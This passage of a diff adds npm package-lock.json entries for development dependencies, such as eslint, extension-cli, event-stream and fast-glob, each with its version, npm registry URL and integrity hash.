+ "integrity": "sha512-yjNnPr315/FjS4zIsUxYguYUPP2e1NK4d7E7ZOLiyYCcbFBiTMyID+2wvm2w6+pZ/odMA7cRkjhsPbltwBOrLg==",
+ "dev": true,
+ "requires": {
+ "ansi-colors": "^4.1.1"
+ }
+ },
+ "entities": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/entities/-/entities-2.0.3.tgz",
+ "integrity": "sha512-MyoZ0jgnLvB2X3Lg5HqpFmn1kybDiIfEQmKzTb5apr51Rb+T3KdmMiqa70T+bhGnyv7bQ6WMj2QMHpGMmlrUYQ==",
+ "dev": true
+ },
+ "errno": {
+ "version": "0.1.8",
+ "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz",
+ "integrity": "sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==",
+ "dev": true,
+ "requires": {
+ "prr": "~1.0.1"
+ }
+ },
+ "error-ex": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz",
+ "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==",
+ "dev": true,
+ "requires": {
+ "is-arrayish": "^0.2.1"
+ }
+ },
+ "es-module-lexer": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.3.0.tgz",
+ "integrity": "sha512-vZK7T0N2CBmBOixhmjdqx2gWVbFZ4DXZ/NyRMZVlJXPa7CyFS+/a4QQsDGDQy9ZfEzxFuNEsMLeQJnKP2p5/JA==",
+ "dev": true,
+ "peer": true
+ },
+ "es5-ext": {
+ "version": "0.10.62",
+ "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.62.tgz",
+ "integrity": "sha512-BHLqn0klhEpnOKSrzn/Xsz2UIW8j+cGmo9JLzr8BiUapV8hPL9+FliFqjwr9ngW7jWdnxv6eO+/LqyhJVqgrjA==",
+ "dev": true,
+ "requires": {
+ "es6-iterator": "^2.0.3",
+ "es6-symbol": "^3.1.3",
+ "next-tick": "^1.1.0"
+ }
+ },
+ "es6-error": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz",
+ "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==",
+ "dev": true
+ },
+ "es6-iterator": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz",
+ "integrity": "sha512-zw4SRzoUkd+cl+ZoE15A9o1oQd920Bb0iOJMQkQhl3jNc03YqVjAhG7scf9C5KWRU/R13Orf588uCC6525o02g==",
+ "dev": true,
+ "requires": {
+ "d": "1",
+ "es5-ext": "^0.10.35",
+ "es6-symbol": "^3.1.1"
+ }
+ },
+ "es6-symbol": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.3.tgz",
+ "integrity": "sha512-NJ6Yn3FuDinBaBRWl/q5X/s4koRHBrgKAu+yGI6JCBeiu3qrcbJhwT2GeR/EXVfylRk8dpQVJoLEFhK+Mu31NA==",
+ "dev": true,
+ "requires": {
+ "d": "^1.0.1",
+ "ext": "^1.1.2"
+ }
+ },
+ "es6-weak-map": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.3.tgz",
+ "integrity": "sha512-p5um32HOTO1kP+w7PRnB+5lQ43Z6muuMuIMffvDN8ZB4GcnjLBV6zGStpbASIMk4DCAvEaamhe2zhyCb/QXXsA==",
+ "dev": true,
+ "requires": {
+ "d": "1",
+ "es5-ext": "^0.10.46",
+ "es6-iterator": "^2.0.3",
+ "es6-symbol": "^3.1.1"
+ }
+ },
+ "escalade": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz",
+ "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==",
+ "dev": true
+ },
+ "escape-string-regexp": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
+ "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
+ "dev": true
+ },
+ "escodegen": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz",
+ "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==",
+ "dev": true,
+ "requires": {
+ "esprima": "^4.0.1",
+ "estraverse": "^5.2.0",
+ "esutils": "^2.0.2",
+ "source-map": "~0.6.1"
+ }
+ },
+ "eslint": {
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.0.0.tgz",
+ "integrity": "sha512-03spzPzMAO4pElm44m60Nj08nYonPGQXmw6Ceai/S4QK82IgwWO1EXx1s9namKzVlbVu3Jf81hb+N+8+v21/HQ==",
+ "dev": true,
+ "requires": {
+ "@eslint/eslintrc": "^1.0.2",
+ "@humanwhocodes/config-array": "^0.6.0",
+ "ajv": "^6.10.0",
+ "chalk": "^4.0.0",
+ "cross-spawn": "^7.0.2",
+ "debug": "^4.3.2",
+ "doctrine": "^3.0.0",
+ "enquirer": "^2.3.5",
+ "escape-string-regexp": "^4.0.0",
+ "eslint-scope": "^6.0.0",
+ "eslint-utils": "^3.0.0",
+ "eslint-visitor-keys": "^3.0.0",
+ "espree": "^9.0.0",
+ "esquery": "^1.4.0",
+ "esutils": "^2.0.2",
+ "fast-deep-equal": "^3.1.3",
+ "file-entry-cache": "^6.0.1",
+ "functional-red-black-tree": "^1.0.1",
+ "glob-parent": "^6.0.1",
+ "globals": "^13.6.0",
+ "ignore": "^4.0.6",
+ "import-fresh": "^3.0.0",
+ "imurmurhash": "^0.1.4",
+ "is-glob": "^4.0.0",
+ "js-yaml": "^4.1.0",
+ "json-stable-stringify-without-jsonify": "^1.0.1",
+ "levn": "^0.4.1",
+ "lodash.merge": "^4.6.2",
+ "minimatch": "^3.0.4",
+ "natural-compare": "^1.4.0",
+ "optionator": "^0.9.1",
+ "progress": "^2.0.0",
+ "regexpp": "^3.2.0",
+ "semver": "^7.2.1",
+ "strip-ansi": "^6.0.0",
+ "strip-json-comments": "^3.1.0",
+ "text-table": "^0.2.0",
+ "v8-compile-cache": "^2.0.3"
+ },
+ "dependencies": {
+ "globals": {
+ "version": "13.20.0",
+ "resolved": "https://registry.npmjs.org/globals/-/globals-13.20.0.tgz",
+ "integrity": "sha512-Qg5QtVkCy/kv3FUSlu4ukeZDVf9ee0iXLAUYX13gbR17bnejFTzr4iS9bY7kwCf1NztRNm1t91fjOiyx4CSwPQ==",
+ "dev": true,
+ "requires": {
+ "type-fest": "^0.20.2"
+ }
+ },
+ "lru-cache": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+ "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+ "dev": true,
+ "requires": {
+ "yallist": "^4.0.0"
+ }
+ },
+ "semver": {
+ "version": "7.5.4",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz",
+ "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==",
+ "dev": true,
+ "requires": {
+ "lru-cache": "^6.0.0"
+ }
+ },
+ "type-fest": {
+ "version": "0.20.2",
+ "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz",
+ "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==",
+ "dev": true
+ },
+ "yallist": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
+ "dev": true
+ }
+ }
+ },
+ "eslint-scope": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-6.0.0.tgz",
+ "integrity": "sha512-uRDL9MWmQCkaFus8RF5K9/L/2fn+80yoW3jkD53l4shjCh26fCtvJGasxjUqP5OT87SYTxCVA3BwTUzuELx9kA==",
+ "dev": true,
+ "requires": {
+ "esrecurse": "^4.3.0",
+ "estraverse": "^5.2.0"
+ }
+ },
+ "eslint-utils": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-3.0.0.tgz",
+ "integrity": "sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==",
+ "dev": true,
+ "requires": {
+ "eslint-visitor-keys": "^2.0.0"
+ },
+ "dependencies": {
+ "eslint-visitor-keys": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz",
+ "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==",
+ "dev": true
+ }
+ }
+ },
+ "eslint-visitor-keys": {
+ "version": "3.4.1",
+ "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.1.tgz",
+ "integrity": "sha512-pZnmmLwYzf+kWaM/Qgrvpen51upAktaaiI01nsJD/Yr3lMOdNtq0cxkrrg16w64VtisN6okbs7Q8AfGqj4c9fA==",
+ "dev": true
+ },
+ "espree": {
+ "version": "9.6.1",
+ "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz",
+ "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==",
+ "dev": true,
+ "requires": {
+ "acorn": "^8.9.0",
+ "acorn-jsx": "^5.3.2",
+ "eslint-visitor-keys": "^3.4.1"
+ }
+ },
+ "esprima": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
+ "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==",
+ "dev": true
+ },
+ "esquery": {
+ "version": "1.5.0",
+ "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.5.0.tgz",
+ "integrity": "sha512-YQLXUplAwJgCydQ78IMJywZCceoqk1oH01OERdSAJc/7U2AylwjhSCLDEtqwg811idIS/9fIU5GjG73IgjKMVg==",
+ "dev": true,
+ "requires": {
+ "estraverse": "^5.1.0"
+ }
+ },
+ "esrecurse": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz",
+ "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==",
+ "dev": true,
+ "requires": {
+ "estraverse": "^5.2.0"
+ }
+ },
+ "estraverse": {
+ "version": "5.3.0",
+ "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",
+ "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==",
+ "dev": true
+ },
+ "esutils": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",
+ "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==",
+ "dev": true
+ },
+ "event-stream": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/event-stream/-/event-stream-4.0.1.tgz",
+ "integrity": "sha512-qACXdu/9VHPBzcyhdOWR5/IahhGMf0roTeZJfzz077GwylcDd90yOHLouhmv7GJ5XzPi6ekaQWd8AvPP2nOvpA==",
+ "dev": true,
+ "requires": {
+ "duplexer": "^0.1.1",
+ "from": "^0.1.7",
+ "map-stream": "0.0.7",
+ "pause-stream": "^0.0.11",
+ "split": "^1.0.1",
+ "stream-combiner": "^0.2.2",
+ "through": "^2.3.8"
+ }
+ },
+ "events": {
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz",
+ "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==",
+ "dev": true,
+ "peer": true
+ },
+ "expand-brackets": {
+ "version": "2.1.4",
+ "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz",
+ "integrity": "sha512-w/ozOKR9Obk3qoWeY/WDi6MFta9AoMR+zud60mdnbniMcBxRuFJyDt2LdX/14A1UABeqk+Uk+LDfUpvoGKppZA==",
+ "dev": true,
+ "requires": {
+ "debug": "^2.3.3",
+ "define-property": "^0.2.5",
+ "extend-shallow": "^2.0.1",
+ "posix-character-classes": "^0.1.0",
+ "regex-not": "^1.0.0",
+ "snapdragon": "^0.8.1",
+ "to-regex": "^3.0.1"
+ },
+ "dependencies": {
+ "debug": {
+ "version": "2.6.9",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+ "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+ "dev": true,
+ "requires": {
+ "ms": "2.0.0"
+ }
+ },
+ "ms": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+ "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==",
+ "dev": true
+ }
+ }
+ },
+ "expand-tilde": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/expand-tilde/-/expand-tilde-2.0.2.tgz",
+ "integrity": "sha512-A5EmesHW6rfnZ9ysHQjPdJRni0SRar0tjtG5MNtm9n5TUvsYU8oozprtRD4AqHxcZWWlVuAmQo2nWKfN9oyjTw==",
+ "dev": true,
+ "requires": {
+ "homedir-polyfill": "^1.0.1"
+ }
+ },
+ "ext": {
+ "version": "1.7.0",
+ "resolved": "https://registry.npmjs.org/ext/-/ext-1.7.0.tgz",
+ "integrity": "sha512-6hxeJYaL110a9b5TEJSj0gojyHQAmA2ch5Os+ySCiA1QGdS697XWY1pzsrSjqA9LDEEgdB/KypIlR59RcLuHYw==",
+ "dev": true,
+ "requires": {
+ "type": "^2.7.2"
+ },
+ "dependencies": {
+ "type": {
+ "version": "2.7.2",
+ "resolved": "https://registry.npmjs.org/type/-/type-2.7.2.tgz",
+ "integrity": "sha512-dzlvlNlt6AXU7EBSfpAscydQ7gXB+pPGsPnfJnZpiNJBDj7IaJzQlBZYGdEi4R9HmPdBv2XmWJ6YUtoTa7lmCw==",
+ "dev": true
+ }
+ }
+ },
+ "extend": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
+ "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==",
+ "dev": true
+ },
+ "extend-shallow": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+ "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+ "dev": true,
+ "requires": {
+ "is-extendable": "^0.1.0"
+ }
+ },
+ "extension-cli": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/extension-cli/-/extension-cli-1.2.4.tgz",
+ "integrity": "sha512-E5dmsoEyPqW4toxv55YpbAYMMm6dDi12cLzY+Fw3wCmWTCSIEbsSMMhIIwqbX02AdvgwvMruRW3EYn0SMC9OpQ==",
+ "dev": true,
+ "requires": {
+ "@babel/preset-env": "7.15.8",
+ "@babel/register": "7.15.3",
+ "chai": "4.3.4",
+ "chalk": "4.1.2",
+ "cli-spinner": "0.2.10",
+ "commander": "8.2.0",
+ "del": "6.0.0",
+ "eslint": "8.0.0",
+ "gulp": "4.0.2",
+ "gulp-change": "1.0.2",
+ "gulp-clean-css": "4.3.0",
+ "gulp-concat": "2.6.1",
+ "gulp-htmlmin": "5.0.1",
+ "gulp-jsonminify": "1.1.0",
+ "gulp-load-plugins": "2.0.7",
+ "gulp-merge-json": "2.1.1",
+ "gulp-rename": "2.0.0",
+ "gulp-sass": "5.0.0",
+ "gulp-zip": "5.1.0",
+ "jsdoc": "3.6.7",
+ "jsdom": "18.0.0",
+ "jsdom-global": "3.0.2",
+ "mocha": "9.1.2",
+ "nyc": "15.1.0",
+ "prompts": "2.4.2",
+ "sass": "1.43.2",
+ "sinon": "11.1.2",
+ "sinon-chrome": "3.0.1",
+ "webpack-stream": "7.0.0",
+ "yargs": "17.2.1"
+ }
+ },
+ "extglob": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz",
+ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==",
+ "dev": true,
+ "requires": {
+ "array-unique": "^0.3.2",
+ "define-property": "^1.0.0",
+ "expand-brackets": "^2.1.4",
+ "extend-shallow": "^2.0.1",
+ "fragment-cache": "^0.2.1",
+ "regex-not": "^1.0.0",
+ "snapdragon": "^0.8.1",
+ "to-regex": "^3.0.1"
+ },
+ "dependencies": {
+ "define-property": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+ "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==",
+ "dev": true,
+ "requires": {
+ "is-descriptor": "^1.0.0"
+ }
+ },
+ "is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.0"
+ }
+ },
+ "is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.0"
+ }
+ },
+ "is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "requires": {
+ "is-accessor-descriptor": "^1.0.0",
+ "is-data-descriptor": "^1.0.0",
+ "kind-of": "^6.0.2"
+ }
+ }
+ }
+ },
+ "fancy-log": {
+ "version": "1.3.3",
+ "resolved": "https://registry.npmjs.org/fancy-log/-/fancy-log-1.3.3.tgz",
+ "integrity": "sha512-k9oEhlyc0FrVh25qYuSELjr8oxsCoc4/LEZfg2iJJrfEk/tZL9bCoJE47gqAvI2m/AUjluCS4+3I0eTx8n3AEw==",
+ "dev": true,
+ "requires": {
+ "ansi-gray": "^0.1.1",
+ "color-support": "^1.1.3",
+ "parse-node-version": "^1.0.0",
+ "time-stamp": "^1.0.0"
+ }
+ },
+ "fast-deep-equal": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
+ "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",
+ "dev": true
+ },
+ "fast-glob": {
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.0.tgz",
+ "integrity": "sha512-ChDuvbOypPuNjO8yIDf36x7BlZX1smcUMTTcyoIjycexOxd6DFsKsg21qVBzEmr3G7fUKIRy2/psii+CIUt7FA==",
+ "dev": true,
+ "requires": {
+ "@nodelib/fs.stat": "^2.0.2",
+ "@nodelib/fs.walk": "^1.2.3",
+ "glob-parent": "^5.1.2",
+ "merge2": "^1.3.0",
+ "micromatch": "^4.0.4"
+ },
+ "dependencies": {
+ "glob-parent": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dev": true,
+ "requires": {
+ "is-glob": "^4.0.1"
+ }
+ }
+ }
+ },
+ "fast-json-stable-stringify": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
+ "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==",
+ "dev": true
+ },
+ "fast-levenshtein": {
+ "version": "2.0.6",
+ "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz",
+ "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==",
+ "dev": true
+ },
+ "fastq": {
+ "version": "1.15.0",
+ "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.15.0.tgz",
+ "integrity": "sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==",
+ "dev": true,
+ "requires": {
+ "reusify": "^1.0.4"
+ }
+ },
+ "file-entry-cache": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz",
+ "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==",
+ "dev": true,
+ "requires": {
+ "flat-cache": "^3.0.4"
+ }
+ },
+ "file-uri-to-path": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz",
+ "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==",
+ "dev": true,
+ "optional": true
+ },
+ "fill-range": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz",
+ "integrity": "sha512-VcpLTWqWDiTerugjj8e3+esbg+skS3M9e54UuR3iCeIDMXCLTsAH8hTSzDQU/X6/6t3eYkOKoZSef2PlU6U1XQ==",
+ "dev": true,
+ "requires": {
+ "extend-shallow": "^2.0.1",
+ "is-number": "^3.0.0",
+ "repeat-string": "^1.6.1",
+ "to-regex-range": "^2.1.0"
+ }
+ },
+ "find-cache-dir": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz",
+ "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==",
+ "dev": true,
+ "requires": {
+ "commondir": "^1.0.1",
+ "make-dir": "^2.0.0",
+ "pkg-dir": "^3.0.0"
+ }
+ },
+ "find-up": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",
+ "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==",
+ "dev": true,
+ "requires": {
+ "locate-path": "^6.0.0",
+ "path-exists": "^4.0.0"
+ }
+ },
+ "findup-sync": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-4.0.0.tgz",
+ "integrity": "sha512-6jvvn/12IC4quLBL1KNokxC7wWTvYncaVUYSoxWw7YykPLuRrnv4qdHcSOywOI5RpkOVGeQRtWM8/q+G6W6qfQ==",
+ "dev": true,
+ "requires": {
+ "detect-file": "^1.0.0",
+ "is-glob": "^4.0.0",
+ "micromatch": "^4.0.2",
+ "resolve-dir": "^1.0.1"
+ }
+ },
+ "fined": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/fined/-/fined-1.2.0.tgz",
+ "integrity": "sha512-ZYDqPLGxDkDhDZBjZBb+oD1+j0rA4E0pXY50eplAAOPg2N/gUBSSk5IM1/QhPfyVo19lJ+CvXpqfvk+b2p/8Ng==",
+ "dev": true,
+ "requires": {
+ "expand-tilde": "^2.0.2",
+ "is-plain-object": "^2.0.3",
+ "object.defaults": "^1.1.0",
+ "object.pick": "^1.2.0",
+ "parse-filepath": "^1.0.1"
+ }
+ },
+ "flagged-respawn": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/flagged-respawn/-/flagged-respawn-1.0.1.tgz",
+ "integrity": "sha512-lNaHNVymajmk0OJMBn8fVUAU1BtDeKIqKoVhk4xAALB57aALg6b4W0MfJ/cUE0g9YBXy5XhSlPIpYIJ7HaY/3Q==",
+ "dev": true
+ },
+ "flat": {
+ "version": "5.0.2",
+ "resolved": "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz",
+ "integrity": "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==",
+ "dev": true
+ },
+ "flat-cache": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz",
+ "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==",
+ "dev": true,
+ "requires": {
+ "flatted": "^3.1.0",
+ "rimraf": "^3.0.2"
+ }
+ },
+ "flatted": {
+ "version": "3.2.7",
+ "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.7.tgz",
+ "integrity": "sha512-5nqDSxl8nn5BSNxyR3n4I6eDmbolI6WT+QqR547RwxQapgjQBmtktdP+HTBb/a/zLsbzERTONyUB5pefh5TtjQ==",
+ "dev": true
+ },
+ "flowbite-typography": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/flowbite-typography/-/flowbite-typography-1.0.3.tgz",
+ "integrity": "sha512-UbdQFIIOb7xx2TS+QQrqr79B6ZSkSZurxYWzV0npth6Wns3/j7KfeDJoH9QFU+Zs7zjrvejNtyzgzWLWyCrdiA==",
+ "dev": true,
+ "requires": {
+ "lodash.castarray": "^4.4.0",
+ "lodash.isplainobject": "^4.0.6",
+ "lodash.merge": "^4.6.2"
+ }
+ },
+ "flush-write-stream": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.1.1.tgz",
